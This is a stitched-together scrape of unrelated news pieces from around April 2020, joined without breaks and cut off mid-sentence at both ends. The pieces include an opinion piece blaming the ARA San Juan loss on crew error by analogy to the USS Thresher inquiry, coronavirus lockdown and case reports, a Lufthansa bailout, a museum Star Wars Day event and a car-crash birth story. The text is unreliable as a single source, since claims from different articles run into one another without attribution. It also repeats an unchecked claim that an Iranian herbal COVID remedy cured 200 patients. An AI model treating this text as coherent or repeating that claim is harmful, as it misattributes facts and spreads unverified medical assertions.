US nuclear submarine Thresher - and the 129 men aboard - on 10 April 1963, the US Navy Court of inquiry (COI) ignored the results of their own tests, attempted to discredit a COI witness, and either discredited, suppressed or ignored compelling evidence that disproved their basic conclusion that Thresher was lost because of flooding that occurred at a depth of 400m (1300-feet). The COI attributed their conjectured flooding to the failure of workers at the Portsmouth Naval Shipyard to properly weld (silver-braze) sea-connected pipes. Nearly all of those falsely accused shipyard workers have since died still bearing the mantle of guilt created by the COI's erroneous conclusion. Fifty-seven years after the disaster, the US Navy's official position on the loss of Thresher remains flooding. The US Navy is making extensive efforts to block or seriously delay a current attempt to obtain Thresher COI documents by claiming that 57-year old information is still classified SECRET despite the fact that it has been openly published for more than 20 years. Obfuscation and denial remains the US Navy's modus operandi and, as such, are an unfortunate part of the legacy of the loss of the USS Thresher. Argentine authorities should avoid making the same mistake the US Navy did by attributing blame for the loss of the ARA San Juan to individuals who were ashore when that tragedy occurred and were in no way responsible for the disaster. Why the San Juan was lost can be established by the content of messages sent by the San Juan on 15 November 2017 and by analyses of acoustic detections by the collapse of the San Juan at the extreme depth of 468m (1535-feet). That detection was made by undersea sensors of the Comprehensive Nuclear Test-Ban Treaty Organization (Ctbto). What the US navy knew in 1963 and ignored - That Thresher never mentioned flooding in any underwater communications with her escort ship. - That the COI's own test proved conclusively that massive flooding at great depth would have created enormous noise levels within Thresher that would have made underwater communications with her escort ship impossible. - That about 90 seconds before Thresher collapsed, she sent a coded message that indicated her depth was 670m (2200-feet). This is some of the evidence the US Navy chose to ignore to avoid implicating Navy personnel in the loss of Thresher. Summary The US Navy's Inquiry into the loss of the USS Thresher remains after 57 years - an example of how NOT to conduct such an investigation. Such investigations should be based on documented (technically verified) information. As noted above, that information is available for the San Juan and it does NOT support accusations that ARA personnel ashore at the time of the tragedy were responsible for the event. Argentine authorities should acknowledge that the effort to implicate ARA personnel who were ashore when the San Juan was lost represents an attempt to escape recriminations arising from acknowledging the actual responsibility for the disaster identified by the San Juan messages and the Ctbto acoustic data. Those messages discuss actions that directly resulted in the loss of the San Juan. Messages sent by the San Juan on 15 November 2017 confirm beyond all doubt that the submarine was lost because the Commanding Officer ordered the San Juan to submerge at about 1152 Greenwich Mean Time (GMT) and continue the transit to the north. When submerged, the San Juan could not ventilate to exchange air within the submarine for outside air which allowed hydrogen - an odorless and colorless gas - produced by the water-damaged batteries to accumulate to explosive levels. It is estimated that explosion occurred at about 1330 GMT. It killed the entire San Juan crew instantly. If the San Juan had remained on the surface ventilating all compartments, the submarine would not have been lost on 15 November 2017. ARA personnel ashore who have been found culpable (deserving of blame or censure) by the Court in the loss of the San Juan were in no way responsible for the disaster. Basically, the Court appears to have surrendered its authority to public anger that the San Juan was lost and the need to punish those still living despite convincing evidence that the disaster occurred because of crew error. The Court should exercise the "duty of care" concept to protect those who were ashore from false accusations and undeserved punishment. Based on the failure of the Court to properly evaluate the critical information provided by the San Juan messages, the President of Argentina is urged to annul the Court's San Juan decision and cancel the harsh punitive actions the Court recommended. The Court's decision was not justice, it was misdirected vengeance. The mistakes made by the Thresher Court of Inquiry in 1963 should NOT be repeated by Argentine authorities investigating in 2020 the loss of the ARA San Juan in 2017. Dozens of revellers posed for a picture during a group drinking session in breach of coronavirus lockdown rules at the weekend - while shoppers queued outside reopened DIY stores and motorists returned to the streets of London on Monday. Around 30 people gathered for an outdoor party last weekend in Coatbridge, Lanarkshire. One of the group joked online that they were 'away for a social distance swally' and that she would 'probs be in the cells for 4'. More than 300 people have liked this picture of a group brazenly flouting lockdown rules in Coatbridge, Lanarkshire Shoppers queue up outside a B&Q store in York today as people purchase DIY equipment during the lockdown Traffic data from London showed congestion levels were 34% below average on Monday, significantly higher than the same time last week Despite a source telling The Sun the group were 'heavily intoxicated,' the picture of the illicit gathering has picked up more than 300 likes - and no one has told them to go home. Since Britain was put into lockdown, the public is only supposed to go outside for essential shopping/medical appointments or taking part in one hour's exercise. Key workers are allowed to commute to and from work. Police Scotland said it was aware of non compliance across the country and confirmed its officers attend those calls. A spokesman told The Sun: 'Officers will engage, explain, encourage to prevent ongoing and future non-compliance.' Sunseekers across Britain have been flouting rules throughout the lockdown by visiting beaches and parks, while there have been long queues outside stores such as Homebase and B&Q, which have opened during the lockdown. Traffic data from TomTom showed the congestion level in London at 4pm today was 34 per cent below average - significantly up on last week's figures at the same time. Friday at 4pm saw congestion 48 per cent below the 2019 average, Thursday 47 per cent, Wednesday 44 per cent and Tuesday 42 per cent. Traffic builds up on the A40 at Perivale in West London at 7.20am on Monday despite the coronavirus lockdown continuing Police remain in populated areas such as Hove's seafront to try and prevent people from breaking social distancing guidelines Which companies have already announced that they will be re-opening? Homebase: Reopened 22 stores so far after closing them all last month Burger King: Already opened six branches for delivery only, with another 10 more set to open soon KFC: Reopened 15 restaurants so far for delivery orders Greggs: Set to reopen several of its stores as part of a trial Pret a Manger: Ten stores near hospitals in London have reopened for delivery and takeaway so far Redrow: Housebuilder which has more than 100,000 homes to its name, will reopen its sites from May 11 Costa: Coffee shop chain reopened four branches for drive-through or delivery only last week Timpson: Key cutting and shoe repair specialist is opening some stores with strict hygiene and social distancing. Wizz Air: Budget airline to restart some flights from London Luton Airport on Friday John Lewis: Expected to reopen shops from mid-May, with 20 of the 50 stores anticipated first Taylor Wimpey: Plans to resume work on its construction sites from May 4 Vistry Group: Will re-start work on 90 per cent of partnership sites and a 'significant number' of housing sites from the start of this week Aston Martin Lagonda: Will reopen its South Wales factory on May 5, but main plant in Warwickshire will stay closed for now B&Q: Opens 155 stores across Britain with 'strict social distancing measures in place' Nando's: Reopens seven of its city centre kitchens to make meals for NHS workers and local charities Jaguar Land Rover: From May 18 manufacturing will resume in Solihull and at its engine plant in Wolverhampton Advertisement On Monday MailOnline reported on a neighbourhood party in Wales that was live streamed on Facebook and shut down by police for breaking coronavirus lockdown rules. Mandy Higgins, 54, held the gathering at her home in Corwen, Denbighshire, and filmed and uploaded it to the internet. The mother of four said the people involved were her family members but admitted she 'probably shouldn't have done it'. Ms Higgins said she and the others just wanted to cheer themselves up during the lockdown. Two men who sparked a huge rescue operation when they went diving for scallops had travelled a combined 575 miles to do so, it emerged today. The friends had driven from Edinburgh in Scotland and Cornwall to meet up in Bridport, Dorset. They launched their own boat from West Bay and 47-year-old man from Cornwall went diving five miles out. He became detached from his marker buoy which was later discovered by the other man, also in his 40s, who contacted the coastguard. Exmouth's lifeboat was alerted by H.M. Coastguard around 3.45pm on Saturday to reports of the missing diver four miles off the coast of Seatown, Dorset. A major search and rescue operation involving two helicopters, the coastguard, RNLI lifeboats, several fishing boats and a Royal Navy ship swung into action. The missing diver had surfaced safely but lost sight of the vessel after his line was detached. He was luckily spotted by an eagle-eyed sailor onboard HMS Tyne. The lockdown is due to be reviewed on May 7, but there have been signs that it could be modified before this date, with early measures likely to include encouraging the construction industry to get back to work. Mr Johnson said on Monday that the UK is at the point of 'maximum risk' in its battle with coronavirus, adding that there are signs the country is 'passing through the peak' and 'coming now to the end of the first phase of this conflict'. Comparing the disease to a mugger, he said: 'This is the moment when we have begun, together, to wrestle it to the floor.' But he said it is also the moment of maximum risk because of the danger that people would look at the 'apparent success' and 'go easy' on social distancing measures. 28.04.2020 LISTEN Not many would have predicted that Osagyefo Dr. Kwame Nkrumah's essay on Class Struggle in Africa was a prophesy waiting to be exposed by a fortuitous event like COVID-19. Writing in 1970, Nkrumah prophesied: While there is no hard and fast dogma for socialist revolution, and specific circumstances at a definite historical period will determine the precise form it will take, there can be no compromise over socialist goals. The principles of scientific socialism are universal and abiding and involve the genuine socialisation of productive and distributive processes. Those who for political reasons pay lip service to socialism, while aiding and abetting imperialism and neocolonialism serve bourgeois class interests. Workers and peasants may be misled for a time, but as class consciousness develops the bogus socialists are exposed and genuine socialist revolution is made possible In class struggle, Nkrumah concedes that he had neither the idea what the specific circumstances (COVID-19) nor the definite historical period (2019) that will determine the form socialism would take. He was nonetheless firm that it would be an abiding universal principle underpinned by productive and distributive processes. On the latter, Nkrumah is vindicated by the fact that COVID-19 has covered nearly every nation, all of which have adopted and are pursuing the most socialist policies ever witnessed in history, in all cases, utilizing stored resources and exploitative profits. The world is at its most giving and generous valour. The quintessential socialist state has seen ultra-capitalist United States handout direct cash to households. Nations GDPs have succumbed to the survival and basic needs of ordinary citizens, whilst we have seen the rare cooperation by feuding states-airlifting patients, distributing medical staff and equipment across the Atlantic and around the world. Wealth redistribution can be seen as many Billionaires outdo each other in making colossal donations of their riches. Nkrumah's scientific socialism has been achieved. Only the methodology and means differ. For Nkrumah, socialism was to be achieved via an ideological class struggle between, on the one hand, an enraged alliance of the proletariat and peasants farmers and workers against a stratified elitist bourgeois group whose significance and stay are underpinned by imperialist construction of the social and economic system. Through positive action, legitimate political agitation, educational campaigns, and as a last resort, 'constitutional application of strikes, boycotts and non-cooperation based on the principle of absolute non-violence', socialism was to be realized and anyone who thought otherwise was deluded. For Dr. Kwame Nkrumah, revolutionary violence was fundamental law in revolutionary struggles, for the privileged will not, unless compelled, surrender power. These thoughts are alive and meaningful in 2020 within the wider context of the African condition in specific relationship with the global market space and attendant exploitation of African resources. In the same breath, the African ruling class continues to exploit social structures conceived, fed and protected by neocolonialism. This wider subject will be discussed on another day. This fortuitous achievement of socialism must be a mainstay post coronavirus. First, socialism is solving a problem created by capitalism. Aside from the fear of retribution, capitalist consideration was responsible for the initial concealment of the virus by China. Globalization and capitalism must carry responsibility too, in the cross border spread of COVID-19 insofar as there was hesitation in placing restrictions on air travel and cross border travel aimed ostensibly to protect the airline industry, tourism and commerce. On hindsight, the total cost in international COVID-19 response far outweighs what could have been the anticipated losses in early decisive travel ban, restrictions and lockdowns. Not least, COVID has also shown us in the past couple of months that a nation that works through a socialist system of looking after the entire community interest, caring and feeding the vulnerable and collective protection of the neighbour principle will produce good results. What are the lessons going forward? No matter how ephemeral, Ghanaian and other world citizens have had a taste of what it looks like to have a break in paying utility bills-water and electricity bills have been waived by the Ghanaian government for a period of three months for certain consumption levels. These same public goods will be fiercely demanded in the future as of right, with or without COVID-19. Desperate and willing politicians will exacerbate these demands by making unprepared promises. The promise by President Akuffo Addo to build a total of 94 District and Regional hospitals across Ghana-all to commence within a year, foretell what lies in the future rather than the exception. If socialism is to be the new norm, Nkrumah himself prescribes the solution. The Intelligentsia and intellectuals must not only play a part in the revolution but must become conscious of class struggle in Africa and align themselves with the oppressed masses which also entail cutting themselves free from bourgeois attitudes and ideologies learned through colonial structured educational systems. In this sense, socialist political organizations like the NDC must first protect gains made through Covid-19 and redefine themselves to properly fit into the regime of scientific socialism. They cannot be ambivalent. In post-COVID-19, the central role of regulation will become ever so important, in seeking to attain fairness- a proper balance between corporate profits and human needs and environmental integrity. The question is, what will be the essence to accumulate exploitative and unworthy profits only to redistribute to the exploited and vulnerable class whose conditions are themselves created by an unequal exploitative global market system? Once again, and on the 48th anniversary of his transition to glory, a historical moment such as COVID-19 has exposed the consciousness-gap that existed between Dr. Kwame Nkrumah and his peers and the continued relevance of his political thoughts. ---citinewsroom Phuket marks second COVID death PHUKET: Phuket has suffered its second officially recognised death directly related to COVID-19, the Phuket Communicable Disease Committee marked in a report issued this morning (Apr 28). COVID-19Coronavirusdeath By Tanyaluk Sakoot Tuesday 28 April 2020, 12:41PM Image: PR Dept Phuket yesterday marked its first death from the virus, a 64-year-old housewife who lived in Bang Tao with three other people who had been confirmed as infected with the virus: her husband, her daughter and her daughters husband. The woman had also suffered anemia, and had received hospital treatment for 19 days, explained Vachira Phuket Hospital Director Dr Chalermpong Sukontapol. The death reported today was of one of the three people in hospital suffering from severe symptoms of the disease, noted the report this morning. No other details were made available. The report this morning also marked seven new confirmed cases being identified, bringing the total number of people in Phuket confirmed as infected COVID-19 to since the outbreak began to 214. According to the report released this morning, so far 8,013 people classified as at risk of contracting COVID-19 have been checked, an increase of 127 on the 7,886 reported yesterday (Apr 27). Of the 7,886 at-risk people checked, a total of 7,799 had been found not showing signs of being infected with the virus, said the report. The report noted that 89 people were still in hospital, comprising 39 people already confirmed as infected and 50 people still waiting for test results, up 14 on the 36 reported yesterday. Two of the people already confirmed as infected are suffering serious effects from being infected, noted the report today. No other details on their condition were reported. The report also noted that 173 people who had been confirmed as infected since the outbreak began had recovered and been discharged from hospital care. The committee gave limited details of the seven new cases announced today as follows: Case 208. A Thai woman, 50, a private business owner in Bang Tao who had close contact and lived in Bang Tao with Case 205. The woman is currently experiencing no symptoms of infection. It was not reported if any people had high risk exposure to this patient. Case 209. A Thai man, 22, a private business owner in Bang Tao, who had close contact and lived in Bang Tao with Case 205. The man is currently experiencing no symptoms of infection. It was not reported if any people had high risk exposure to this patient. Case 210. A Thai man, 20, a private business owner in Bang Tao, who had close contact and lived in Bang Tao with Case 205. The man is currently experiencing no symptoms of infection. The people had high risk exposure to this patient from him that is not reported. Case 211. A Thai woman, 47, who looked after grandchildren at her home in Koh Kaew. The woman became ill, with coughing, on Apr 6 and presented herself for medical treatment at her local health promotion hospital (clinic). On Apr 15, still ill, she presented herself at Vachira Phuket Hospital. X-rays of her lungs were normal, but she still had symptoms of infection. She had a fever, was coughing and felt tired. She returned to Vachira Phuket Hospital on Apr 27. Officers are investigating how she became infected. It was not reported how many people had high risk exposure to this woman Case 212. A Thai woman, 47, a housewife, who had close contact and lived in Bang Tao with Case 174. The woman is currently experiencing no symptoms of infection. It was not reported how many people had high risk exposure to this woman. Case 213. Thai woman, 44, a housewife, who had close contact and lived in Bang Tao with Case 174. The woman is currently experiencing no symptoms of infection. It was not reported how many people had high risk exposure to this woman. Case 214. A Thai woman, 68, a housewife, who had close contact and lived in Bang Tao with Case 198. The woman is currently experiencing no symptoms of infection. It was not reported how many people had high risk exposure to this woman. 07 April 2020, Munich: Parked Lufthansa aircraft stand on the airport apron. Due to the coronavirus crisis, Lufthansa will permanently decomission 42 jets of the core company Lufthansa and Eurowings. Photo: Matthias Balk//picture alliance via Getty Images) The German government has agreed to extend a 9bn (7.8bn, $9.7bn) lifeline to Lufthansa (LHA.DE) after the airline requested state aid to survive the economic fallout from the coronavirus pandemic. According to Business Insider, which was the first to report the news (link in German), Lufthansa sources said that the government agreed the rescue package in return or one or two supervisory board mandates and a blocking minority. The news outlet said that Lufthansa chief executive Carsten Spohr would meet German chancellor Angela Merkel and finance minister Olaf Scholz today to formally sign off on the package. According to a report in Switzerlands Tages-Anzeiger newspaper, Lufthansa subsidiary Swiss Airlines will receive a government-backed loan to the amount of CHF 1.5bn (1.2bn, $1.5bn). The exact details of the rescue package are expected to be published on Wednesday this week. Germany on Monday also agreed to extend 550m in state aid to holiday airline Condor, with economy minister Peter Altmaier noting that in normal times, Condor was operationally sound and profitable, with good future prospects. Lufthansas bailout is many times bigger than Condors, of course, and members of the Christian Democrat-Social Democrat coalition government had argued over the conditions of the airlines bailout in the past few days. READ MORE: Coronavirus: Virgin Atlantic seeks new investors amid Richard Branson tax row The Social Democrats parliamentary leader said that if a company like Lufthansa is pumped full of taxpayer money, then the government should have a say in how it is run in the future. Lufthansa is just one of many global airlines teetering on the verge of bankruptcy after worldwide travel was brought almost to a complete standstill by the coronavirus pandemic in March. Virgin Australia went into administration last week. Currently, Virgin Atlantic major shareholder Richard Branson is reportedly trying to raise cash, and has approached more than 100 investors for funding. Story continues The International Air Transport Association (IATA) on 14 April estimated that global airline losses from the impact of COVID-19 have reached $314bn so far this year, which is 25% more than it had previously predicted. Watch the latest videos from Yahoo UK Yoda Yoga The out-of-this-world bundle includes a challenge to create an alien creature, design a constellation viewer and join curators for a behind-the-scenes peek at some of the museums unique Star Wars collection. So what if you cant travel to a galaxy far, far away to celebrate Star Wars Day because of social distancing. The worlds largest childrens museum wants to help make sure the Force is strong with you on May 4, 2020 and every day. For more than 40 years, adults and children have joyfully celebrated Star Warspaying tribute to their favorite characters, plot twists and the movies themselves. Playing off the memorable phrase in the film by changing May the Force be with you to May the Fourth be with you, Star Wars fans across the galaxy have come to recognize May 4 as Star Wars Day. The Childrens Museum of Indianapolis is joining the celebration by creating content for princesses, rebels, Jedi, bounty hunters, smugglers, and Droids alike. Although the museum remains temporarily closed, it is bringing Star Wars Day to families with a bundle of content that is available at Museum at Home on the museums webpage. The out-of-this-world bundle includes a challenge to create an alien creature, design a constellation viewer and join curators for a behind-the-scenes peek at some of the museums unique Star Wars collection. Heres a list of what to expect that not even the Chosen One may have predicted. Parents can bring balance to the Force and the family by beginning the day with Yoda Yoga in the Jedi Temple. Tune in to Facebook Live May 4, 2020 at 10 a.m. EST RSVP here. Complete family training by following Master Yodas example. Discover how to make Yoda ears. Make Yoda ears. Create a creature from a planet in a galaxy far, far away. Learn more. Bring the stars inside with a D-I-Y constellation viewer. Learn more. Tune in to The Childrens Museum of Indianapolis Facebook page May 4, 2020 at 3 p.m. EST to hear from Curator Ashley Hannum about the museums Star Wars collection. Discuss life lessons learned from Star Wars and the sources in history that inspired them. For example, what inspired the Jedi and their light sabers (Shaolin monks of ancient China and Samurai knights from 12th century Japan). No need to jump to hyperspace. The Childrens Museum of Indianapolis has what children and families need to have a memorable Star Wars Day at home. May the Fourth be with you! Stay tuned because the museum will also host virtual birthday parties on the first day of the month. May 1, 2020 will be an 80s dance themed birthday party. Subsequent content will include space, racing and dinosaurs. Don't forget to tune in to Museum at Home for fun and educational science experiments, story time and art projects. The Childrens Museum of Indianapolis is proud to partner with Riley Childrens at Indiana University Health, Old National Bank and Ice Miller LLP. The Children's Museum of Indianapolis is a nonprofit institution committed to creating extraordinary learning experiences across the arts, sciences, and humanities that have the power to transform the lives of children and families. For more information about The Children's Museum, visit http://www.childrensmuseum.org, follow us on Twitter @TCMIndy, Instagram@childrensmuseum, YouTube.com/IndyTCM, and Facebook. Metro Manila (CNN Philippines, April 28) - The Philippines has raised $2.35 billion, or about 119 billion, from US dollar bonds offered to foreign investors, to help finance the government's national budget and COVID-19 response. The new 10-year Global Bonds were sold at 2.457 percent and the 25-year bonds at 2.95 percent. National Treasurer Rosalia de Leon said that these were the country's lowest ever coupon rates for a 10-year and 25-year benchmark issuance. "This makes the Philippines, at least for the time being, a diamond in the sovereign issuance space," de Leon said in a statement Tuesday. The transaction is expected to settle on May 5, 2020, the Bureau of the Treasury said. The Philippines also raised 1.2 billion euros, or roughly 68 billion, from euro-denominated bonds offered to foreign investors in January this year. READ: PH raises 68 billion from euro bond offer Finance Secretary Carlos Dominguez III said such support from the investor community is a result of the country's strong macroeconomic fundamentals brought about by the administration's reform agenda. The strong demand for this bond issue demonstrates the resiliency of investor interest in the Philippine economy despite the global economic fallout from the COVID-19 pandemic," Dominguez said in a statement. The success of this bond float despite the COVID-induced volatility is also reflective of the global recognition of, and support for, the Duterte administration's four-pillar strategy to mitigate the impact of the global health crisis, he added. The Philippines borrows from both local and foreign sources to finance its spending plans and grow the economy. The total number of COVID-19 cases worldwide has reached 3.08 million. Of these, over 934,000 have recovered while 212,000 have lost their lives. The total number of COVID-19 cases worldwide has reached 3.08 million. Of these, over 934,000 have recovered while 212,000 have lost their lives. The rise and fall of COVID-19 cases and deaths The number of confirmed cases crossed 1 million in the United States on April 28. The majority of cases remain in New York, followed by New Jersey and Massachusetts. Almost 20 states have slowly started lifting lockdown restrictions in that country, even as some experts warn that current testing capabilities will not be sufficient in that scenario. Spain recorded the lowest number of deaths (288) on Sunday since March 20 but the toll rose to 331 on Monday. Yesterday, the country began a study of 36,000 families to understand exactly how widespread COVID-19 was and continues to be. It will involve checking participants for COVID-19 antibodies and taking a blood sample in select cases. The country has over 229,000 confirmed cases and a promising 120,000 recoveries as of now. Russia declared 6,411 new cases as well as 72 deaths in the country, which is the highest daily rise in the country so far. The total number of cases is nearing 100,000. President Vladimir Putin is expected to address the nation on this issue later today. Singapore reported 528 new cases, the lowest in almost two weeks. The Czech Republic has also begun to emerge from the lockdown as it reported fewer (41) new cases on Monday, the lowest number in about six weeks. The reproduction rate of COVID-19 in Germany Robert Koch Institute, a German federal body, has said that the reproduction rate is now 1.0, higher than 0.7 from earlier this month. This reproduction rate signifies that one infected person is spreading this coronavirus infection to one healthy person. The president of the institute, Lothar Wieler, is advising people to continue practising physical distancing (previously social distancing) even as some restrictions are lifted in the country. The mortality rate of COVID-19 in the country is also on a slight rise, reaching 3.8% today. The country had achieved huge success in keeping the number of deaths low until now, and the hope is that reduced movement, use of face covers and physical distancing will help them achieve it again as stores and school reopen. Japans faulty masks As many countries begin to lift lockdowns, there is much debate about how Japan announced one too late. The number of cases has been rising more quickly over the last few days, going as high as 519 new cases in a single day on April 25 - 138 new cases were added to Japan's total on April 27. As per media reports, the latest blunder in COVID-19 response there seems to be the distribution of 500,000 cloth masks by the government to pregnant women, of which 300,000 turned out to be faulty. The masks are being distributed to people who are at a higher risk first, which includes pregnant women. The United Kingdom hits peak Experts are claiming that the UK is currently at the peak of its COVID-19 outbreak, suggesting it may be time to formulate a strategy to exit the lockdown. UK Prime Minister Boris Johnson, who was released from the hospital after being treated for the novel coronavirus, said on his return to work that it is still too early to lift the lockdown measures. On the other hand, data from the UK Office of National Statistics suggest that the coronavirus death toll in Scotland and Wales up to April 17 was 54% higher than what the official figures claimed at the time. Read our Tips on how to protect yourself against COVID-19 infection for more detailed information. T he Evening Standard has kept Londoners informed since 1827. It has been with London through its greatest and most difficult times. The coronavirus pandemic is a challenge equal to our worst past crises. It is a test of our infrastructure, institutions and the cohesiveness of society. Over the past weeks I have met volunteers, suppliers and recipients of our Food for London Now appeal. I have seen pensioners living alone, without food and terrified. I have seen homeless people unable to access the services on which they depend. I have heard of families who have gone days without a meal. We believe we have passed the peak of Covid infections, but this is only the beginning of the hunger epidemic. The aftershock of the crisis will lead to higher unemployment and more strain on our social services. The Food Foundation estimates that more than eight million face food insecurity. Many Londoners will face real hardship. I am therefore writing to let you know that we must keep going. We intend to build on our success and work to ensure lasting food security for hundreds of thousands of Londoners. To do this we are committing our campaign to raise a war chest of 10 million to tackle food poverty across London for three years. The money raised will allow our partner The Felix Project to continue to redistribute the equivalent of 100,000 meals a day to frontline charities, community hubs, schools and NHS workers right across London. We will also open a mega community kitchen to uphold our pledge to support the homeless. It is a stunningly efficient operation. With 10 million, The Felix Project can source and distribute at least 100 million worth of food, which otherwise might have gone to waste. Amid the huge sadness of this crisis, we must not forget the stories of generosity and comradeship around the country. Listen to The Leader: Coronavirus Daily podcast I hope you, the readers, will continue to take part in this story too. Donate at virginmoneygiving.com/fund/FoodforLondonNOW Press Release 28 April 2020 Hong Kong - Marriott International in Asia Pacific (excluding Greater China) has launched its Community Caregiver Program for healthcare workers on the frontlines of the COVID-19 pandemic. The devastating impact of COVID-19 has been felt over the world, and as an organization that puts people first, Marriott International recognizes the need to unite with the community in its fight against coronavirus. The Community Caregiver Program has been launched to provide support to the healthcare workers who are at the forefront of this pandemic, with a special rate to book hotel rooms. Advertisements Marriott International has properties across the globe, with some located near hospitals and government buildings, and the initiative has been implemented to allow frontline healthcare professionals the option to have a place to stay that is in close proximity to their workplace as they aid in COVID-19 response efforts. Beyond the Community Caregiver Program, Marriot International has also established various programs to aid in the urgent fight against the pandemic, including Marriott Bonvoy's Giving Platform. Through the initiative, Marriott Bonvoy members will be able to donate their points to relief organizations that are active in COVID-19 responses around the world that Marriott is also supporting. These includes the American Red Cross, International Federation of Red Cross and Red Crescent Societies, UNICEF and World Central Kitchen. In Asia Pacific, hotels have been demonstrating the extraordinary collective power of people to help others. In these challenging and unprecedented times, associates from hotels across the region have volunteered over 40,000 hours to serve their communities. Contributions include food donation, making of protective personal gears for front line medical staff, and securing shelter for medics and journalists. Photo: The Canadian Press A man wearing a mask sits next the coffin of his mother as he's transported by a cemetery worker in a full protection suit to her burial site at the Nossa Senhora das Gracas cemetery in Duque de Caxias, Rio de Janeiro, Brazil, Monday, April 27, 2020. The woman's body was previously being held in a refrigerator for confirmed and suspected victims of of COVID-19, according to the administration of the cemetery. (AP Photo/Silvia Izquierdo) Brazil is emerging as potentially the next big hot spot for the coronavirus amid President Jair Bolsonaros insistence that it is just a "little flu and that there is no need for the sharp restrictions that have slowed the infections spread in Europe and the U.S. As some U.S. states and European countries moved gradually Monday to ease their limits on movement and commerce, the intensifying outbreak in Brazil Latin America's biggest country, with 211 million people pushed some hospitals to the breaking point, with signs that a growing number of victims are now dying at home. We have all the conditions here for the pandemic to become much more serious," said Paulo Brandao, a virologist at the University of Sao Paulo. Brazil officially reported about 4,500 deaths and almost 67,000 confirmed infections. But the true numbers there, as in many other countries, are believed to be vastly higher given the lack of testing and the many people without severe symptoms who havent sought hospital care. Some scientists said over 1 million in Brazil are probably infected. The country is heading into winter, which can worsen respiratory illnesses. Worldwide, the death toll topped 210,000, according to a tally by Johns Hopkins University. The number of dead in the U.S. surpassed 55,000 close to the 58,000 U.S. troops killed during the Vietnam War. Italy, Britain, Spain and France accounted for more than 20,000 deaths each. In other developments: U.S. President Donald Trump said Monday that deaths in the United States from the coronavirus could reach as high as 70,000, after putting the number at 60,000 several times earlier this month. The Trump administration worked to draw up new guidelines for how restaurants, schools, churches and businesses can safely reopen. The White House also unveiled what it described as a comprehensive overview of its efforts to make enough tests for COVID-19 available so states can sample at least 2.6% of their populations each month. British Prime Minister Boris Johnson returned to work after a bout with the virus and warned strongly against easing his own countrys lockdown too soon: I refuse to throw away all the effort and the sacrifice of the British people and to risk a second major outbreak and huge loss of life." New York cancelled its Democratic presidential primary, set for June 23, since Bernie Sanders has already conceded the nomination to Joe Biden. In a bit of encouraging news, the state reported 337 deaths for the lowest daily count this month, down from nearly 800 almost three weeks ago. Massachusetts recorded its 3,000th known death from the virus. The state is still in the surge and very much in the fight against COVID-19, Gov. Charlie Baker said. Iranian knowledge-based firms making headway in fighting COVID-19 03/29/20 Source: Tehran Times TEHRAN - Five science and technology parks affiliated to the Ministry of Science, Research and Technology described their activities in dealing with and treating coronavirus, the most important of which is the production of herbal medicines and diagnostic kits. A video conference was held on Monday evening with President Hassan Rouhani, Science Minister Mansour Gholami, Vice President for Science and Technology Sourena Sattari, and managers of knowledge-based companies at science and technology parks. Disinfectant tunnels Abbas Zare, head of the Science and Technology Park of Tehran University, stated that building disinfectant tunnels for individuals and an environmental disinfectant sprayer are among the measures taken by the innovative companies. Although coronavirus is a crisis, it turned to be a good opportunity for technology companies to present their projects with government support. Zare stated that in the Science and Technology Park of Tehran University, in order to deal with coronavirus epidemic, 20 companies have presented 11 products. CT scan systems Reza Qanbari, head of Khorasan Razavi province's Science and Technology Park, also explained: "We have been able to provide 75 percent of daily alcohol and disinfectants in the province." He also continued "one of the companies located in this park has reached the technical knowledge of producing CT scan systems and we can produce 3 devices per week. Also, the production of ventilators has been achieved with the support of the Vice president of Science and Technology. Herbal medicine Masoumeh Khan Ahmadi, caretaker of Kermanshah province's Science and Technology Park, also stated that There are 300 innovative cores in this park that have created jobs for 1,800 people. She further said, "In order to counter the pandemic, we have produced industrial masks and disinfectant, and in the current situation, 385 new job opportunities have been created, which has increased the possibility of production surge." Regarding the production of herbal medicine for the treatment of coronavirus, she said that "The 100 percent herbal medicine has successfully passed the stage of testing on animals and is in the stage of trial on humans. So far, 400 people have been tested, and 200 coronavirus patients have fully recovered." Khan Ahmadi stated that this medicine will be very valuable and effective. Also, one of its main compounds is the colchicum and 100 percent herbal. Detection kits Mohammad Rafiei, the director of the Science and Technology Park of Markazi province, also stated in the production of kits, production of 2,500 waterproof scrubs and N95 masks are among the effective measures of this companies. He continued that the production of contactless thermometers and 5,000 liters of disinfectant are also among the products. Regarding diagnostic kits, Rafiei said that these kits are of PCR type, and the final stages of the operation are waiting to be licensed. "Our researchers have been able to produce essence oils from medicinal plants to disinfect crowded places. All tests have been performed. Since the outbreak of the disease, 5,000 air and surface disinfectant sprays have been produced daily, which is used extensively by the citizens," he concluded. Official Iran's statistics on coronavirus as of April 28 Infections: 92,584 Deaths: 5,877 New Cases: 1,112 Recovered: 72,439 The Iranian health ministry on Tuesday announced that the total number of people diagnosed with the coronavirus has reached 92,584 of whom 5,877 have died and 72,439, have recovered. A Georgia family were involved in a car accident just moments after a baby girl was born in the back seat of their vehicle. Chrys Yvette Jones from Tucker, northeast of Atlanta, was traveling with his 23-year-old daughter Crysten D've Graham and 14-month-old granddaughter, Tai Anderson. The family were traveling to the hospital during treacherous weather conditions earlier this month in order for Graham to give birth when without warning the SUV began hydroplaning and the grandmother who was driving, lost control. Cepeda Huff, an officer with the Lilburn Police Department in Georgia, holds newborn Cea Crysten D've Graham, pictured right, was in labor in backseat of Chevy Tahoe driven by her mother when the crash occurred. Baby Cea, is seen left. Her 14-month-old Tai, is also seen Baby Cea was found under the backseat. She had been born just moments earlier at 3lb 9oz The group were only a mile into their 12 mile journey from their home to the Gwinnett Medical Center when the crash happened. The vehicle, a Chevy Tahoe SUV, hit an electricity pylon before spinning around and striking a brick wall. Moments before the accident Graham had just delivered her newborn daughter in the back seat of the car. 'My daughter was saying 'I think it's coming,'' Jones said. 'She remembered her breathing techniques, because she had her other baby last year and she was able to do it herself.' After the crash, the baby, later named Cea, could not be found after being tossed around during the collision. Three police officers who happened to be passing the scene of the crash quickly found her after spotting her umbilical cord sticking out. 'We thought the baby might have gone out the window because there was so much debris in the back,' Officer Bride said. 'Our concern was whether the baby got tossed into the backseat or got tossed through the window.' Incredibly, despite the wreck, none of the family were injured in the crash and credit the work of three police officers who quickly came to the family's aid without having to summon the emergency services. 'They were angels,' Jones told WSB-TV. 'We didn't get to call 911. Somehow, they were just there and moved so fast. They have a special place in our hearts.' Officers Daniel Bride,left and Cepeda Huff happened to be driving by the scene of the crash 'We started to look for the baby and then all of a sudden the police were there,' Graham recalled. Officers Daniel Bride and Cepeda Huf from Lilburn Police quickly searched the wreckage and found the baby behind the back seat relatively unharmed as they delicately removed her. 'She just had a little scratch on her nose but that cleared up,' Jones said. Officer Huff cradled the infant in his arms and 